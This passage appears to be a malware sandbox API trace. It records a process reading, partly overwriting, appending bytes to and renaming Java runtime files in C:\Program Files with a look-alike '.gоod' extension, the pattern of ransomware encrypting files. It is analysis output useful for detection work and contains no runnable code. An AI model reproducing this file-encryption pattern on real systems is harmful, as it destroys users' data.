hFile=0x6b4, lpBuffer=0x357df08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x357df08*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0089.673] CloseHandle (hObject=0x6b4) returned 1 [0089.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", lpFilePart=0x0) returned 0x31 [0089.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0089.673] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0089.673] GetFileType (hFile=0x6b4) returned 0x1 [0089.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0089.673] GetFileType (hFile=0x6b4) returned 0x1 [0089.673] WriteFile (in: hFile=0x6b4, lpBuffer=0x357cc90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x357cc90*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0089.673] CloseHandle (hObject=0x6b4) returned 1 [0089.674] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", lpFilePart=0x0) returned 0x31 [0089.674] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.gоod", lpFilePart=0x0) returned 0x36 [0089.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0089.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x31a92d25, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x849c)) returned 1 [0089.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0089.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.gоod")) returned 1 [0089.674] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", lpFilePart=0x0) returned 0x2f [0089.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0089.675] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), fInfoLevelId=0x0, lpFileInformation=0x385ac88 | out: lpFileInformation=0x385ac88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80)) returned 1 [0089.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0089.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", lpFilePart=0x0) returned 0x2f [0089.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0089.675] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0089.675] GetFileType (hFile=0x6b4) returned 0x1 [0089.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0089.675] GetFileType (hFile=0x6b4) returned 0x1 [0089.675] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0089.675] ReadFile (in: hFile=0x6b4, lpBuffer=0x385b030, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x385b030*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0089.676] CloseHandle (hObject=0x6b4) returned 1 [0089.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", lpFilePart=0x0) returned 0x2f [0089.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0089.677] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0089.677] GetFileType (hFile=0x6b4) returned 0x1 [0089.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0089.677] GetFileType (hFile=0x6b4) returned 0x1 [0089.677] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x8eb80 [0089.677] WriteFile (in: hFile=0x6b4, lpBuffer=0x385c290*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x385c290*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0089.678] CloseHandle (hObject=0x6b4) returned 1 [0089.679] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", lpFilePart=0x0) returned 0x2f [0089.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0089.679] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0089.679] GetFileType (hFile=0x6b4) returned 0x1 [0089.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0089.679] GetFileType (hFile=0x6b4) returned 0x1 [0089.679] ReadFile (in: hFile=0x6b4, lpBuffer=0x385e518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x385e518*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0089.821] CloseHandle (hObject=0x6b4) returned 1 [0089.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", lpFilePart=0x0) returned 0x2f [0089.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0089.821] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0089.822] GetFileType (hFile=0x6b4) returned 0x1 [0089.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0089.822] GetFileType (hFile=0x6b4) returned 0x1 [0089.822] WriteFile (in: hFile=0x6b4, lpBuffer=0x32c1b68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x32c1b68*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0089.822] CloseHandle (hObject=0x6b4) returned 1 [0089.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", lpFilePart=0x0) returned 0x2f [0089.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.gоod", lpFilePart=0x0) returned 0x34 [0089.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0089.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x31c10454, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8eb90)) returned 1 [0089.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0089.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.gоod")) returned 1 [0089.826] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", lpFilePart=0x0) returned 0x34 [0089.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0089.826] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), fInfoLevelId=0x0, lpFileInformation=0x333e888 | out: lpFileInformation=0x333e888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082)) returned 1 [0089.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0089.826] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", lpFilePart=0x0) returned 0x34 [0089.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0089.826] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0089.826] GetFileType (hFile=0x6b4) returned 0x1 [0089.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0089.826] GetFileType (hFile=0x6b4) returned 0x1 [0089.826] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0089.826] ReadFile (in: hFile=0x6b4, lpBuffer=0x333ec60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x333ec60*, lpNumberOfBytesRead=0x1f49c5f8*=0x82, lpOverlapped=0x0) returned 1 [0090.075] CloseHandle (hObject=0x6b4) returned 1 [0090.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", lpFilePart=0x0) returned 0x34 [0090.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0090.075] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0090.075] GetFileType (hFile=0x6b4) returned 0x1 [0090.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0090.076] GetFileType (hFile=0x6b4) returned 0x1 [0090.076] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1082 [0090.076] WriteFile (in: hFile=0x6b4, lpBuffer=0x34ab6c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x34ab6c0*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0090.076] CloseHandle (hObject=0x6b4) returned 1 [0090.076] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", lpFilePart=0x0) returned 0x34 [0090.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0090.076] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0090.076] GetFileType (hFile=0x6b4) returned 0x1 [0090.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0090.076] GetFileType (hFile=0x6b4) returned 0x1 [0090.076] ReadFile (in: hFile=0x6b4, lpBuffer=0x34ad960, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x34ad960*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0090.892] CloseHandle (hObject=0x6b4) returned 1 [0090.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", lpFilePart=0x0) returned 0x34 [0090.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0090.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0090.893] GetFileType (hFile=0x6b4) returned 0x1 [0090.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0090.893] GetFileType (hFile=0x6b4) returned 0x1 [0090.893] WriteFile (in: hFile=0x6b4, lpBuffer=0x32f8c80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x32f8c80*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0090.893] CloseHandle (hObject=0x6b4) returned 1 [0090.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", lpFilePart=0x0) returned 0x34 [0090.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.gоod", lpFilePart=0x0) returned 0x39 [0090.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0090.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x326326ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1092)) returned 1 [0090.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0090.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.gоod")) returned 1 [0090.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", lpFilePart=0x0) returned 0x3b [0090.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0090.894] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), fInfoLevelId=0x0, lpFileInformation=0x343d0c8 | out: lpFileInformation=0x343d0c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d)) returned 1 [0090.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0090.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", nBufferLength=0x105, lpBuffer=0x1f49bf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", lpFilePart=0x0) returned 0x3b [0090.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c480) returned 1 [0090.895] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0090.895] GetFileType (hFile=0x6b4) returned 0x1 [0090.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c3f0) returned 1 [0090.895] GetFileType (hFile=0x6b4) returned 0x1 [0090.895] GetFileSize (in: hFile=0x6b4, lpFileSizeHigh=0x1f49c628 | out: lpFileSizeHigh=0x1f49c628*=0x0) returned 0x17d [0090.895] ReadFile (in: hFile=0x6b4, lpBuffer=0x343d688, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c558, lpOverlapped=0x0 | out: lpBuffer=0x343d688*, lpNumberOfBytesRead=0x1f49c558*=0x17d, lpOverlapped=0x0) returned 1 [0090.896] CloseHandle (hObject=0x6b4) returned 1 [0091.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", nBufferLength=0x105, lpBuffer=0x1f49bf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", lpFilePart=0x0) returned 0x3b [0091.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c480) returned 1 [0091.263] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.263] GetFileType (hFile=0x7b0) returned 0x1 [0091.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c3f0) returned 1 [0091.264] GetFileType (hFile=0x7b0) returned 0x1 [0091.264] WriteFile (in: hFile=0x7b0, lpBuffer=0x35d8b68*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x1f49c468, lpOverlapped=0x0 | out: lpBuffer=0x35d8b68*, lpNumberOfBytesWritten=0x1f49c468*=0x180, lpOverlapped=0x0) returned 1 [0091.266] CloseHandle (hObject=0x7b0) returned 1 [0091.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", lpFilePart=0x0) returned 0x3b [0091.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.gоod", lpFilePart=0x0) returned 0x40 [0091.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0091.266] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x329c5eac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x180)) returned 1 [0091.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0091.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.gоod")) returned 1 [0091.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", lpFilePart=0x0) returned 0x31 [0091.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0091.267] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), fInfoLevelId=0x0, lpFileInformation=0x35d9d70 | out: lpFileInformation=0x35d9d70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e)) returned 1 [0091.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0091.267] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", nBufferLength=0x105, lpBuffer=0x1f49bf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", lpFilePart=0x0) returned 